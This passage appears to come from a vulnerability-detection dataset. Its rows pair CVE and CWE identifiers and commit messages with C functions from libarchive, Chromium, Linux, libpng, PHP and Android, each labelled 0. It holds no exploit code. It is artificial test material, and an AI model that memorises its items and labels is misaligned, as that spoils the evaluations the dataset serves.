return (ARCHIVE_FATAL);
}
/*
* Until enough data has been read, we cannot tell about
* any encrypted entries yet.
*/
zip->has_encrypted_entries = ARCHIVE_READ_FORMAT_ENCRYPTION_DONT_KNOW;
r = __archive_read_register_format(a,
zip,
"7zip",
archive_read_format_7zip_bid,
NULL,
archive_read_format_7zip_read_header,
archive_read_format_7zip_read_data,
archive_read_format_7zip_read_data_skip,
NULL,
archive_read_format_7zip_cleanup,
archive_read_support_format_7zip_capabilities,
archive_read_format_7zip_has_encrypted_entries);
if (r != ARCHIVE_OK)
free(zip);
return (ARCHIVE_OK);
}
|
archive_read_support_format_7zip(struct archive *_a)
{
struct archive_read *a = (struct archive_read *)_a;
struct _7zip *zip;
int r;
archive_check_magic(_a, ARCHIVE_READ_MAGIC,
ARCHIVE_STATE_NEW, "archive_read_support_format_7zip");
zip = calloc(1, sizeof(*zip));
if (zip == NULL) {
archive_set_error(&a->archive, ENOMEM,
"Can't allocate 7zip data");
return (ARCHIVE_FATAL);
}
/*
* Until enough data has been read, we cannot tell about
* any encrypted entries yet.
*/
zip->has_encrypted_entries = ARCHIVE_READ_FORMAT_ENCRYPTION_DONT_KNOW;
r = __archive_read_register_format(a,
zip,
"7zip",
archive_read_format_7zip_bid,
NULL,
archive_read_format_7zip_read_header,
archive_read_format_7zip_read_data,
archive_read_format_7zip_read_data_skip,
NULL,
archive_read_format_7zip_cleanup,
archive_read_support_format_7zip_capabilities,
archive_read_format_7zip_has_encrypted_entries);
if (r != ARCHIVE_OK)
free(zip);
return (ARCHIVE_OK);
}
|
C
|
libarchive
| 0 |
null | null | null |
https://github.com/chromium/chromium/commit/181c7400b2bf50ba02ac77149749fb419b4d4797
|
181c7400b2bf50ba02ac77149749fb419b4d4797
|
gpu: Use GetUniformSetup computed result size.
[email protected]
BUG=468936
Review URL: https://codereview.chromium.org/1016193003
Cr-Commit-Position: refs/heads/master@{#321489}
|
error::Error GLES2DecoderImpl::HandleGetActiveUniformBlockName(
uint32 immediate_data_size, const void* cmd_data) {
if (!unsafe_es3_apis_enabled())
return error::kUnknownCommand;
const gles2::cmds::GetActiveUniformBlockName& c =
*static_cast<const gles2::cmds::GetActiveUniformBlockName*>(cmd_data);
GLuint program_id = c.program;
GLuint index = c.index;
uint32 name_bucket_id = c.name_bucket_id;
typedef cmds::GetActiveUniformBlockName::Result Result;
Result* result = GetSharedMemoryAs<Result*>(
c.result_shm_id, c.result_shm_offset, sizeof(*result));
if (!result) {
return error::kOutOfBounds;
}
if (*result != 0) {
return error::kInvalidArguments;
}
Program* program = GetProgramInfoNotShader(
program_id, "glGetActiveUniformBlockName");
if (!program) {
return error::kNoError;
}
GLuint service_id = program->service_id();
GLint link_status = GL_FALSE;
glGetProgramiv(service_id, GL_LINK_STATUS, &link_status);
if (link_status != GL_TRUE) {
LOCAL_SET_GL_ERROR(GL_INVALID_OPERATION,
"glGetActiveActiveUniformBlockName", "program not linked");
return error::kNoError;
}
GLint max_length = 0;
glGetProgramiv(
service_id, GL_ACTIVE_UNIFORM_BLOCK_MAX_NAME_LENGTH, &max_length);
GLsizei buf_size = static_cast<GLsizei>(max_length) + 1;
std::vector<char> buffer(buf_size);
GLsizei length = 0;
glGetActiveUniformBlockName(
service_id, index, buf_size, &length, &buffer[0]);
if (length == 0) {
*result = 0;
return error::kNoError;
}
*result = 1;
Bucket* bucket = CreateBucket(name_bucket_id);
DCHECK_GT(buf_size, length);
DCHECK_EQ(0, buffer[length]);
bucket->SetFromString(&buffer[0]);
return error::kNoError;
}
|
error::Error GLES2DecoderImpl::HandleGetActiveUniformBlockName(
uint32 immediate_data_size, const void* cmd_data) {
if (!unsafe_es3_apis_enabled())
return error::kUnknownCommand;
const gles2::cmds::GetActiveUniformBlockName& c =
*static_cast<const gles2::cmds::GetActiveUniformBlockName*>(cmd_data);
GLuint program_id = c.program;
GLuint index = c.index;
uint32 name_bucket_id = c.name_bucket_id;
typedef cmds::GetActiveUniformBlockName::Result Result;
Result* result = GetSharedMemoryAs<Result*>(
c.result_shm_id, c.result_shm_offset, sizeof(*result));
if (!result) {
return error::kOutOfBounds;
}
if (*result != 0) {
return error::kInvalidArguments;
}
Program* program = GetProgramInfoNotShader(
program_id, "glGetActiveUniformBlockName");
if (!program) {
return error::kNoError;
}
GLuint service_id = program->service_id();
GLint link_status = GL_FALSE;
glGetProgramiv(service_id, GL_LINK_STATUS, &link_status);
if (link_status != GL_TRUE) {
LOCAL_SET_GL_ERROR(GL_INVALID_OPERATION,
"glGetActiveActiveUniformBlockName", "program not linked");
return error::kNoError;
}
GLint max_length = 0;
glGetProgramiv(
service_id, GL_ACTIVE_UNIFORM_BLOCK_MAX_NAME_LENGTH, &max_length);
GLsizei buf_size = static_cast<GLsizei>(max_length) + 1;
std::vector<char> buffer(buf_size);
GLsizei length = 0;
glGetActiveUniformBlockName(
service_id, index, buf_size, &length, &buffer[0]);
if (length == 0) {
*result = 0;
return error::kNoError;
}
*result = 1;
Bucket* bucket = CreateBucket(name_bucket_id);
DCHECK_GT(buf_size, length);
DCHECK_EQ(0, buffer[length]);
bucket->SetFromString(&buffer[0]);
return error::kNoError;
}
|
C
|
Chrome
| 0 |
CVE-2013-7271
|
https://www.cvedetails.com/cve/CVE-2013-7271/
|
CWE-20
|
https://github.com/torvalds/linux/commit/f3d3342602f8bcbf37d7c46641cb9bca7618eb1c
|
f3d3342602f8bcbf37d7c46641cb9bca7618eb1c
|
net: rework recvmsg handler msg_name and msg_namelen logic
This patch now always passes msg->msg_namelen as 0. recvmsg handlers must
set msg_namelen to the proper size <= sizeof(struct sockaddr_storage)
to return msg_name to the user.
This prevents numerous uninitialized memory leaks we had in the
recvmsg handlers and makes it harder for new code to accidentally leak
uninitialized memory.
Optimize for the case recvfrom is called with NULL as address. We don't
need to copy the address at all, so set it to NULL before invoking the
recvmsg handler. We can do so, because all the recvmsg handlers must
cope with the case a plain read() is called on them. read() also sets
msg_name to NULL.
Also document these changes in include/linux/net.h as suggested by David
Miller.
Changes since RFC:
Set msg->msg_name = NULL if user specified a NULL in msg_name but had a
non-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't
affect sendto as it would bail out earlier while trying to copy-in the
address. It also more naturally reflects the logic by the callers of
verify_iovec.
With this change in place I could remove "
if (!uaddr || msg_sys->msg_namelen == 0)
msg->msg_name = NULL
".
This change does not alter the user visible error logic as we ignore
msg_namelen as long as msg_name is NULL.
Also remove two unnecessary curly brackets in ___sys_recvmsg and change
comments to netdev style.
Cc: David Miller <[email protected]>
Suggested-by: Eric Dumazet <[email protected]>
Signed-off-by: Hannes Frederic Sowa <[email protected]>
Signed-off-by: David S. Miller <[email protected]>
|
static void maybe_add_creds(struct sk_buff *skb, const struct socket *sock,
const struct sock *other)
{
if (UNIXCB(skb).pid)
return;
if (test_bit(SOCK_PASSCRED, &sock->flags) ||
!other->sk_socket ||
test_bit(SOCK_PASSCRED, &other->sk_socket->flags)) {
UNIXCB(skb).pid = get_pid(task_tgid(current));
current_uid_gid(&UNIXCB(skb).uid, &UNIXCB(skb).gid);
}
}
|
static void maybe_add_creds(struct sk_buff *skb, const struct socket *sock,
const struct sock *other)
{
if (UNIXCB(skb).pid)
return;
if (test_bit(SOCK_PASSCRED, &sock->flags) ||
!other->sk_socket ||
test_bit(SOCK_PASSCRED, &other->sk_socket->flags)) {
UNIXCB(skb).pid = get_pid(task_tgid(current));
current_uid_gid(&UNIXCB(skb).uid, &UNIXCB(skb).gid);
}
}
|
C
|
linux
| 0 |
CVE-2016-3751
|
https://www.cvedetails.com/cve/CVE-2016-3751/
| null |
https://android.googlesource.com/platform/external/libpng/+/9d4853418ab2f754c2b63e091c29c5529b8b86ca
|
9d4853418ab2f754c2b63e091c29c5529b8b86ca
|
DO NOT MERGE Update libpng to 1.6.20
BUG:23265085
Change-Id: I85199805636d771f3597b691b63bc0bf46084833
(cherry picked from commit bbe98b40cda082024b669fa508931042eed18f82)
|
init_standard_palette(png_store *ps, png_structp pp, png_infop pi, int npalette,
int do_tRNS)
{
store_palette_entry *ppal = make_standard_palette(ps, npalette, do_tRNS);
{
int i;
png_color palette[256];
/* Set all entries to detect overread errors. */
for (i=0; i<npalette; ++i)
{
palette[i].red = ppal[i].red;
palette[i].green = ppal[i].green;
palette[i].blue = ppal[i].blue;
}
/* Just in case fill in the rest with detectable values: */
for (; i<256; ++i)
palette[i].red = palette[i].green = palette[i].blue = 42;
png_set_PLTE(pp, pi, palette, npalette);
}
if (do_tRNS)
{
int i, j;
png_byte tRNS[256];
/* Set all the entries, but skip trailing opaque entries */
for (i=j=0; i<npalette; ++i)
if ((tRNS[i] = ppal[i].alpha) < 255)
j = i+1;
/* Fill in the remainder with a detectable value: */
for (; i<256; ++i)
tRNS[i] = 24;
# ifdef PNG_WRITE_tRNS_SUPPORTED
if (j > 0)
png_set_tRNS(pp, pi, tRNS, j, 0/*color*/);
# endif
}
}
|
init_standard_palette(png_store *ps, png_structp pp, png_infop pi, int npalette,
int do_tRNS)
{
store_palette_entry *ppal = make_standard_palette(ps, npalette, do_tRNS);
{
int i;
png_color palette[256];
/* Set all entries to detect overread errors. */
for (i=0; i<npalette; ++i)
{
palette[i].red = ppal[i].red;
palette[i].green = ppal[i].green;
palette[i].blue = ppal[i].blue;
}
/* Just in case fill in the rest with detectable values: */
for (; i<256; ++i)
palette[i].red = palette[i].green = palette[i].blue = 42;
png_set_PLTE(pp, pi, palette, npalette);
}
if (do_tRNS)
{
int i, j;
png_byte tRNS[256];
/* Set all the entries, but skip trailing opaque entries */
for (i=j=0; i<npalette; ++i)
if ((tRNS[i] = ppal[i].alpha) < 255)
j = i+1;
/* Fill in the remainder with a detectable value: */
for (; i<256; ++i)
tRNS[i] = 24;
# ifdef PNG_WRITE_tRNS_SUPPORTED
if (j > 0)
png_set_tRNS(pp, pi, tRNS, j, 0/*color*/);
# endif
}
}
|
C
|
Android
| 0 |
CVE-2012-0044
|
https://www.cvedetails.com/cve/CVE-2012-0044/
|
CWE-189
|
https://github.com/torvalds/linux/commit/a5cd335165e31db9dbab636fd29895d41da55dd2
|
a5cd335165e31db9dbab636fd29895d41da55dd2
|
drm: integer overflow in drm_mode_dirtyfb_ioctl()
There is a potential integer overflow in drm_mode_dirtyfb_ioctl()
if userspace passes in a large num_clips. The call to kmalloc would
allocate a small buffer, and the call to fb->funcs->dirty may result
in a memory corruption.
Reported-by: Haogang Chen <[email protected]>
Signed-off-by: Xi Wang <[email protected]>
Cc: [email protected]
Signed-off-by: Dave Airlie <[email protected]>
|
int drm_mode_setcrtc(struct drm_device *dev, void *data,
struct drm_file *file_priv)
{
struct drm_mode_config *config = &dev->mode_config;
struct drm_mode_crtc *crtc_req = data;
struct drm_mode_object *obj;
struct drm_crtc *crtc, *crtcfb;
struct drm_connector **connector_set = NULL, *connector;
struct drm_framebuffer *fb = NULL;
struct drm_display_mode *mode = NULL;
struct drm_mode_set set;
uint32_t __user *set_connectors_ptr;
int ret = 0;
int i;
if (!drm_core_check_feature(dev, DRIVER_MODESET))
return -EINVAL;
mutex_lock(&dev->mode_config.mutex);
obj = drm_mode_object_find(dev, crtc_req->crtc_id,
DRM_MODE_OBJECT_CRTC);
if (!obj) {
DRM_DEBUG_KMS("Unknown CRTC ID %d\n", crtc_req->crtc_id);
ret = -EINVAL;
goto out;
}
crtc = obj_to_crtc(obj);
DRM_DEBUG_KMS("[CRTC:%d]\n", crtc->base.id);
if (crtc_req->mode_valid) {
/* If we have a mode we need a framebuffer. */
/* If we pass -1, set the mode with the currently bound fb */
if (crtc_req->fb_id == -1) {
list_for_each_entry(crtcfb,
&dev->mode_config.crtc_list, head) {
if (crtcfb == crtc) {
DRM_DEBUG_KMS("Using current fb for "
"setmode\n");
fb = crtc->fb;
}
}
} else {
obj = drm_mode_object_find(dev, crtc_req->fb_id,
DRM_MODE_OBJECT_FB);
if (!obj) {
DRM_DEBUG_KMS("Unknown FB ID%d\n",
crtc_req->fb_id);
ret = -EINVAL;
goto out;
}
fb = obj_to_fb(obj);
}
mode = drm_mode_create(dev);
drm_crtc_convert_umode(mode, &crtc_req->mode);
drm_mode_set_crtcinfo(mode, CRTC_INTERLACE_HALVE_V);
}
if (crtc_req->count_connectors == 0 && mode) {
DRM_DEBUG_KMS("Count connectors is 0 but mode set\n");
ret = -EINVAL;
goto out;
}
if (crtc_req->count_connectors > 0 && (!mode || !fb)) {
DRM_DEBUG_KMS("Count connectors is %d but no mode or fb set\n",
crtc_req->count_connectors);
ret = -EINVAL;
goto out;
}
if (crtc_req->count_connectors > 0) {
u32 out_id;
/* Avoid unbounded kernel memory allocation */
if (crtc_req->count_connectors > config->num_connector) {
ret = -EINVAL;
goto out;
}
connector_set = kmalloc(crtc_req->count_connectors *
sizeof(struct drm_connector *),
GFP_KERNEL);
if (!connector_set) {
ret = -ENOMEM;
goto out;
}
for (i = 0; i < crtc_req->count_connectors; i++) {
set_connectors_ptr = (uint32_t *)(unsigned long)crtc_req->set_connectors_ptr;
if (get_user(out_id, &set_connectors_ptr[i])) {
ret = -EFAULT;
goto out;
}
obj = drm_mode_object_find(dev, out_id,
DRM_MODE_OBJECT_CONNECTOR);
if (!obj) {
DRM_DEBUG_KMS("Connector id %d unknown\n",
out_id);
ret = -EINVAL;
goto out;
}
connector = obj_to_connector(obj);
DRM_DEBUG_KMS("[CONNECTOR:%d:%s]\n",
connector->base.id,
drm_get_connector_name(connector));
connector_set[i] = connector;
}
}
set.crtc = crtc;
set.x = crtc_req->x;
set.y = crtc_req->y;
set.mode = mode;
set.connectors = connector_set;
set.num_connectors = crtc_req->count_connectors;
set.fb = fb;
ret = crtc->funcs->set_config(&set);
out:
kfree(connector_set);
mutex_unlock(&dev->mode_config.mutex);
return ret;
}
|
int drm_mode_setcrtc(struct drm_device *dev, void *data,
struct drm_file *file_priv)
{
struct drm_mode_config *config = &dev->mode_config;
struct drm_mode_crtc *crtc_req = data;
struct drm_mode_object *obj;
struct drm_crtc *crtc, *crtcfb;
struct drm_connector **connector_set = NULL, *connector;
struct drm_framebuffer *fb = NULL;
struct drm_display_mode *mode = NULL;
struct drm_mode_set set;
uint32_t __user *set_connectors_ptr;
int ret = 0;
int i;
if (!drm_core_check_feature(dev, DRIVER_MODESET))
return -EINVAL;
mutex_lock(&dev->mode_config.mutex);
obj = drm_mode_object_find(dev, crtc_req->crtc_id,
DRM_MODE_OBJECT_CRTC);
if (!obj) {
DRM_DEBUG_KMS("Unknown CRTC ID %d\n", crtc_req->crtc_id);
ret = -EINVAL;
goto out;
}
crtc = obj_to_crtc(obj);
DRM_DEBUG_KMS("[CRTC:%d]\n", crtc->base.id);
if (crtc_req->mode_valid) {
/* If we have a mode we need a framebuffer. */
/* If we pass -1, set the mode with the currently bound fb */
if (crtc_req->fb_id == -1) {
list_for_each_entry(crtcfb,
&dev->mode_config.crtc_list, head) {
if (crtcfb == crtc) {
DRM_DEBUG_KMS("Using current fb for "
"setmode\n");
fb = crtc->fb;
}
}
} else {
obj = drm_mode_object_find(dev, crtc_req->fb_id,
DRM_MODE_OBJECT_FB);
if (!obj) {
DRM_DEBUG_KMS("Unknown FB ID%d\n",
crtc_req->fb_id);
ret = -EINVAL;
goto out;
}
fb = obj_to_fb(obj);
}
mode = drm_mode_create(dev);
drm_crtc_convert_umode(mode, &crtc_req->mode);
drm_mode_set_crtcinfo(mode, CRTC_INTERLACE_HALVE_V);
}
if (crtc_req->count_connectors == 0 && mode) {
DRM_DEBUG_KMS("Count connectors is 0 but mode set\n");
ret = -EINVAL;
goto out;
}
if (crtc_req->count_connectors > 0 && (!mode || !fb)) {
DRM_DEBUG_KMS("Count connectors is %d but no mode or fb set\n",
crtc_req->count_connectors);
ret = -EINVAL;
goto out;
}
if (crtc_req->count_connectors > 0) {
u32 out_id;
/* Avoid unbounded kernel memory allocation */
if (crtc_req->count_connectors > config->num_connector) {
ret = -EINVAL;
goto out;
}
connector_set = kmalloc(crtc_req->count_connectors *
sizeof(struct drm_connector *),
GFP_KERNEL);
if (!connector_set) {
ret = -ENOMEM;
goto out;
}
for (i = 0; i < crtc_req->count_connectors; i++) {
set_connectors_ptr = (uint32_t *)(unsigned long)crtc_req->set_connectors_ptr;
if (get_user(out_id, &set_connectors_ptr[i])) {
ret = -EFAULT;
goto out;
}
obj = drm_mode_object_find(dev, out_id,
DRM_MODE_OBJECT_CONNECTOR);
if (!obj) {
DRM_DEBUG_KMS("Connector id %d unknown\n",
out_id);
ret = -EINVAL;
goto out;
}
connector = obj_to_connector(obj);
DRM_DEBUG_KMS("[CONNECTOR:%d:%s]\n",
connector->base.id,
drm_get_connector_name(connector));
connector_set[i] = connector;
}
}
set.crtc = crtc;
set.x = crtc_req->x;
set.y = crtc_req->y;
set.mode = mode;
set.connectors = connector_set;
set.num_connectors = crtc_req->count_connectors;
set.fb = fb;
ret = crtc->funcs->set_config(&set);
out:
kfree(connector_set);
mutex_unlock(&dev->mode_config.mutex);
return ret;
}
|
C
|
linux
| 0 |
null | null | null |
https://github.com/chromium/chromium/commit/8f883f2b12f68fed993671dce7fb5fb91f2229aa
|
8f883f2b12f68fed993671dce7fb5fb91f2229aa
|
Add more non client Windows messages to the list of messages not being sent to the renderer.
Turns out we get WM_NCLBUTTONDOWN/UP messages at times which go to the renderer and are not acked causing the
unresponsive renderer dialog to show up in Desktop Chrome Aura.
BUG=335248
[email protected]
TBR=jam
Review URL: https://codereview.chromium.org/141103004
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@245949 0039d316-1c4b-4281-b951-d872f2087c98
|
void RenderWidgetHostViewAura::OnScrollEvent(ui::ScrollEvent* event) {
TRACE_EVENT0("input", "RenderWidgetHostViewAura::OnScrollEvent");
if (touch_editing_client_ && touch_editing_client_->HandleInputEvent(event))
return;
if (event->type() == ui::ET_SCROLL) {
#if !defined(OS_WIN)
if (event->finger_count() != 2)
return;
#endif
blink::WebGestureEvent gesture_event =
MakeWebGestureEventFlingCancel();
host_->ForwardGestureEvent(gesture_event);
blink::WebMouseWheelEvent mouse_wheel_event =
MakeWebMouseWheelEvent(event);
host_->ForwardWheelEvent(mouse_wheel_event);
RecordAction(base::UserMetricsAction("TrackpadScroll"));
} else if (event->type() == ui::ET_SCROLL_FLING_START ||
event->type() == ui::ET_SCROLL_FLING_CANCEL) {
blink::WebGestureEvent gesture_event =
MakeWebGestureEvent(event);
host_->ForwardGestureEvent(gesture_event);
if (event->type() == ui::ET_SCROLL_FLING_START)
RecordAction(base::UserMetricsAction("TrackpadScrollFling"));
}
event->SetHandled();
}
|
void RenderWidgetHostViewAura::OnScrollEvent(ui::ScrollEvent* event) {
TRACE_EVENT0("input", "RenderWidgetHostViewAura::OnScrollEvent");
if (touch_editing_client_ && touch_editing_client_->HandleInputEvent(event))
return;
if (event->type() == ui::ET_SCROLL) {
#if !defined(OS_WIN)
if (event->finger_count() != 2)
return;
#endif
blink::WebGestureEvent gesture_event =
MakeWebGestureEventFlingCancel();
host_->ForwardGestureEvent(gesture_event);
blink::WebMouseWheelEvent mouse_wheel_event =
MakeWebMouseWheelEvent(event);
host_->ForwardWheelEvent(mouse_wheel_event);
RecordAction(base::UserMetricsAction("TrackpadScroll"));
} else if (event->type() == ui::ET_SCROLL_FLING_START ||
event->type() == ui::ET_SCROLL_FLING_CANCEL) {
blink::WebGestureEvent gesture_event =
MakeWebGestureEvent(event);
host_->ForwardGestureEvent(gesture_event);
if (event->type() == ui::ET_SCROLL_FLING_START)
RecordAction(base::UserMetricsAction("TrackpadScrollFling"));
}
event->SetHandled();
}
|
C
|
Chrome
| 0 |
CVE-2015-1352
|
https://www.cvedetails.com/cve/CVE-2015-1352/
| null |
https://git.php.net/?p=php-src.git;a=commit;h=124fb22a13fafa3648e4e15b4f207c7096d8155e
|
124fb22a13fafa3648e4e15b4f207c7096d8155e
| null |
PHP_FUNCTION(pg_cancel_query)
{
php_pgsql_do_async(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_PG_ASYNC_REQUEST_CANCEL);
}
|
PHP_FUNCTION(pg_cancel_query)
{
php_pgsql_do_async(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_PG_ASYNC_REQUEST_CANCEL);
}
|
C
|
php
| 0 |
CVE-2016-5170
|
https://www.cvedetails.com/cve/CVE-2016-5170/
|
CWE-416
|
https://github.com/chromium/chromium/commit/c3957448cfc6e299165196a33cd954b790875fdb
|
c3957448cfc6e299165196a33cd954b790875fdb
|
Cleanup and remove dead code in SetFocusedElement
This early-out was added in:
https://crrev.com/ce8ea3446283965c7eabab592cbffe223b1cf2bc
Back then, we applied fragment focus in LayoutUpdated() which could
cause this issue. This got cleaned up in:
https://crrev.com/45236fd563e9df53dc45579be1f3d0b4784885a2
so that focus is no longer applied after layout.
+Cleanup: Goto considered harmful
Bug: 795381
Change-Id: Ifeb4d2e03e872fd48cca6720b1d4de36ad1ecbb7
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1524417
Commit-Queue: David Bokan <[email protected]>
Reviewed-by: Stefan Zager <[email protected]>
Cr-Commit-Position: refs/heads/master@{#641101}
|
Node* EventTargetNodeForDocument(Document* doc) {
if (!doc)
return nullptr;
Node* node = doc->FocusedElement();
if (!node && doc->IsPluginDocument()) {
PluginDocument* plugin_document = ToPluginDocument(doc);
node = plugin_document->PluginNode();
}
if (!node && doc->IsHTMLDocument())
node = doc->body();
if (!node)
node = doc->documentElement();
return node;
}
|
Node* EventTargetNodeForDocument(Document* doc) {
if (!doc)
return nullptr;
Node* node = doc->FocusedElement();
if (!node && doc->IsPluginDocument()) {
PluginDocument* plugin_document = ToPluginDocument(doc);
node = plugin_document->PluginNode();
}
if (!node && doc->IsHTMLDocument())
node = doc->body();
if (!node)
node = doc->documentElement();
return node;
}
|
C
|
Chrome
| 0 |
CVE-2016-3837
|
https://www.cvedetails.com/cve/CVE-2016-3837/
|
CWE-200
|
https://android.googlesource.com/platform/frameworks/opt/net/wifi/+/a209ff12ba9617c10550678ff93d01fb72a33399
|
a209ff12ba9617c10550678ff93d01fb72a33399
|
Deal correctly with short strings
The parseMacAddress function anticipates only properly formed
MAC addresses (6 hexadecimal octets separated by ":"). This
change properly deals with situations where the string is
shorter than expected, making sure that the passed in char*
reference in parseHexByte never exceeds the end of the string.
BUG: 28164077
TEST: Added a main function:
int main(int argc, char **argv) {
unsigned char addr[6];
if (argc > 1) {
memset(addr, 0, sizeof(addr));
parseMacAddress(argv[1], addr);
printf("Result: %02x:%02x:%02x:%02x:%02x:%02x\n",
addr[0], addr[1], addr[2], addr[3], addr[4], addr[5]);
}
}
Tested with "", "a" "ab" "ab:c" "abxc".
Change-Id: I0db8d0037e48b62333d475296a45b22ab0efe386
|
static jboolean android_net_wifi_set_Country_Code_Hal(JNIEnv *env,jclass cls, jint iface,
jstring country_code) {
JNIHelper helper(env);
wifi_interface_handle handle = getIfaceHandle(helper, cls, iface);
ScopedUtfChars chars(env, country_code);
const char *country = chars.c_str();
ALOGD("set country code: %s", country);
wifi_error res = hal_fn.wifi_set_country_code(handle, country);
return res == WIFI_SUCCESS;
}
|
static jboolean android_net_wifi_set_Country_Code_Hal(JNIEnv *env,jclass cls, jint iface,
jstring country_code) {
JNIHelper helper(env);
wifi_interface_handle handle = getIfaceHandle(helper, cls, iface);
ScopedUtfChars chars(env, country_code);
const char *country = chars.c_str();
ALOGD("set country code: %s", country);
wifi_error res = hal_fn.wifi_set_country_code(handle, country);
return res == WIFI_SUCCESS;
}
|
C
|
Android
| 0 |
CVE-2014-3173
|
https://www.cvedetails.com/cve/CVE-2014-3173/
|
CWE-119
|
https://github.com/chromium/chromium/commit/ee7579229ff7e9e5ae28bf53aea069251499d7da
|
ee7579229ff7e9e5ae28bf53aea069251499d7da
|
Framebuffer clear() needs to consider the situation some draw buffers are disabled.
This is when we expose DrawBuffers extension.
BUG=376951
TEST=the attached test case, webgl conformance
[email protected],[email protected]
Review URL: https://codereview.chromium.org/315283002
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@275338 0039d316-1c4b-4281-b951-d872f2087c98
|
bool GLES2DecoderImpl::SimulateFixedAttribs(
const char* function_name,
GLuint max_vertex_accessed, bool* simulated, GLsizei primcount) {
DCHECK(simulated);
*simulated = false;
if (gfx::GetGLImplementation() == gfx::kGLImplementationEGLGLES2)
return true;
if (!state_.vertex_attrib_manager->HaveFixedAttribs()) {
return true;
}
LOCAL_PERFORMANCE_WARNING(
"GL_FIXED attributes have a signficant performance penalty");
GLuint elements_needed = 0;
const VertexAttribManager::VertexAttribList& enabled_attribs =
state_.vertex_attrib_manager->GetEnabledVertexAttribs();
for (VertexAttribManager::VertexAttribList::const_iterator it =
enabled_attribs.begin(); it != enabled_attribs.end(); ++it) {
const VertexAttrib* attrib = *it;
const Program::VertexAttrib* attrib_info =
state_.current_program->GetAttribInfoByLocation(attrib->index());
GLuint max_accessed = attrib->MaxVertexAccessed(primcount,
max_vertex_accessed);
GLuint num_vertices = max_accessed + 1;
if (num_vertices == 0) {
LOCAL_SET_GL_ERROR(
GL_OUT_OF_MEMORY, function_name, "Simulating attrib 0");
return false;
}
if (attrib_info &&
attrib->CanAccess(max_accessed) &&
attrib->type() == GL_FIXED) {
uint32 elements_used = 0;
if (!SafeMultiplyUint32(num_vertices, attrib->size(), &elements_used) ||
!SafeAddUint32(elements_needed, elements_used, &elements_needed)) {
LOCAL_SET_GL_ERROR(
GL_OUT_OF_MEMORY, function_name, "simulating GL_FIXED attribs");
return false;
}
}
}
const uint32 kSizeOfFloat = sizeof(float); // NOLINT
uint32 size_needed = 0;
if (!SafeMultiplyUint32(elements_needed, kSizeOfFloat, &size_needed) ||
size_needed > 0x7FFFFFFFU) {
LOCAL_SET_GL_ERROR(
GL_OUT_OF_MEMORY, function_name, "simulating GL_FIXED attribs");
return false;
}
LOCAL_COPY_REAL_GL_ERRORS_TO_WRAPPER(function_name);
glBindBuffer(GL_ARRAY_BUFFER, fixed_attrib_buffer_id_);
if (static_cast<GLsizei>(size_needed) > fixed_attrib_buffer_size_) {
glBufferData(GL_ARRAY_BUFFER, size_needed, NULL, GL_DYNAMIC_DRAW);
GLenum error = glGetError();
if (error != GL_NO_ERROR) {
LOCAL_SET_GL_ERROR(
GL_OUT_OF_MEMORY, function_name, "simulating GL_FIXED attribs");
return false;
}
}
GLintptr offset = 0;
for (VertexAttribManager::VertexAttribList::const_iterator it =
enabled_attribs.begin(); it != enabled_attribs.end(); ++it) {
const VertexAttrib* attrib = *it;
const Program::VertexAttrib* attrib_info =
state_.current_program->GetAttribInfoByLocation(attrib->index());
GLuint max_accessed = attrib->MaxVertexAccessed(primcount,
max_vertex_accessed);
GLuint num_vertices = max_accessed + 1;
if (num_vertices == 0) {
LOCAL_SET_GL_ERROR(
GL_OUT_OF_MEMORY, function_name, "Simulating attrib 0");
return false;
}
if (attrib_info &&
attrib->CanAccess(max_accessed) &&
attrib->type() == GL_FIXED) {
int num_elements = attrib->size() * kSizeOfFloat;
int size = num_elements * num_vertices;
scoped_ptr<float[]> data(new float[size]);
const int32* src = reinterpret_cast<const int32 *>(
attrib->buffer()->GetRange(attrib->offset(), size));
const int32* end = src + num_elements;
float* dst = data.get();
while (src != end) {
*dst++ = static_cast<float>(*src++) / 65536.0f;
}
glBufferSubData(GL_ARRAY_BUFFER, offset, size, data.get());
glVertexAttribPointer(
attrib->index(), attrib->size(), GL_FLOAT, false, 0,
reinterpret_cast<GLvoid*>(offset));
offset += size;
}
}
*simulated = true;
return true;
}
|
bool GLES2DecoderImpl::SimulateFixedAttribs(
const char* function_name,
GLuint max_vertex_accessed, bool* simulated, GLsizei primcount) {
DCHECK(simulated);
*simulated = false;
if (gfx::GetGLImplementation() == gfx::kGLImplementationEGLGLES2)
return true;
if (!state_.vertex_attrib_manager->HaveFixedAttribs()) {
return true;
}
LOCAL_PERFORMANCE_WARNING(
"GL_FIXED attributes have a signficant performance penalty");
GLuint elements_needed = 0;
const VertexAttribManager::VertexAttribList& enabled_attribs =
state_.vertex_attrib_manager->GetEnabledVertexAttribs();
for (VertexAttribManager::VertexAttribList::const_iterator it =
enabled_attribs.begin(); it != enabled_attribs.end(); ++it) {
const VertexAttrib* attrib = *it;
const Program::VertexAttrib* attrib_info =
state_.current_program->GetAttribInfoByLocation(attrib->index());
GLuint max_accessed = attrib->MaxVertexAccessed(primcount,
max_vertex_accessed);
GLuint num_vertices = max_accessed + 1;
if (num_vertices == 0) {
LOCAL_SET_GL_ERROR(
GL_OUT_OF_MEMORY, function_name, "Simulating attrib 0");
return false;
}
if (attrib_info &&
attrib->CanAccess(max_accessed) &&
attrib->type() == GL_FIXED) {
uint32 elements_used = 0;
if (!SafeMultiplyUint32(num_vertices, attrib->size(), &elements_used) ||
!SafeAddUint32(elements_needed, elements_used, &elements_needed)) {
LOCAL_SET_GL_ERROR(
GL_OUT_OF_MEMORY, function_name, "simulating GL_FIXED attribs");
return false;
}
}
}
const uint32 kSizeOfFloat = sizeof(float); // NOLINT
uint32 size_needed = 0;
if (!SafeMultiplyUint32(elements_needed, kSizeOfFloat, &size_needed) ||
size_needed > 0x7FFFFFFFU) {
LOCAL_SET_GL_ERROR(
GL_OUT_OF_MEMORY, function_name, "simulating GL_FIXED attribs");
return false;
}
LOCAL_COPY_REAL_GL_ERRORS_TO_WRAPPER(function_name);
glBindBuffer(GL_ARRAY_BUFFER, fixed_attrib_buffer_id_);
if (static_cast<GLsizei>(size_needed) > fixed_attrib_buffer_size_) {
glBufferData(GL_ARRAY_BUFFER, size_needed, NULL, GL_DYNAMIC_DRAW);
GLenum error = glGetError();
if (error != GL_NO_ERROR) {
LOCAL_SET_GL_ERROR(
GL_OUT_OF_MEMORY, function_name, "simulating GL_FIXED attribs");
